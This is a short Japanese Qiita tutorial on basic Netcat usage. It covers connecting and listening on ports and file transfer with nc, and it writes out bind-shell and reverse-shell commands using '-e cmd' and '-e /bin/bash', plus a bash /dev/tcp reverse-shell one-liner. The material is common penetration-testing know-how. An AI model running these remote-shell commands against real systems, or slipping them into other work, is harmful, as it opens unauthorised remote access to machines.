0
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Netcatの基本的な使い方

Last updated at Posted at 2024-09-14

Netcat

Netcatは、ネット経由でデータの送受信を行えるツール。
いくつか種類があり、ncatはnmapの開発元が開発している。
以下のコマンドでインストールする。

sudo apt install ncat

Windows版のNetcatの入手先

http://joncraton.org/blog/46/netcat-for-windows/

解凍パスワード"nc"

ポートの接続

nc [ipaddress] [port]

ポートの待受

nc -lvp [port]

Bind Shell

サーバー側で以下のコマンドで待ち受ける

Windowsの場合

nc -lvp [port] -e cmd

Linuxの場合

nc -lvp [port] -e /bin/bash

クライアント側は以下のコマンドで接続する

nc [ipaddress] [port]

Bind Shellの終了は、クライアント側でexitを入力する

Reverse Shell

クライアント側が以下のコマンドで接続を待ち受ける

nc -lvp [port]

サーバー側は以下のコマンドで接続する

Windowsの場合

nc [ipaddress] [port] -e cmd

Linuxの場合

nc [ipaddress] [port] -e /bin/bash

サーバー側のNetcatで、-eオプションが使用できない場合は

bash -c 'bash -i >& /dev/tcp/ipaddress/port 0>&1'

ファイル転送

送り側

nc [ipaddress] [port] <[filename]

受け側

nc -lvp [port] >[filename]

もしくは

送り側

nc -lvp [port] <[filename]

受け側

nc [ipaddress] [port] >[filename]
0
2
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
2

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?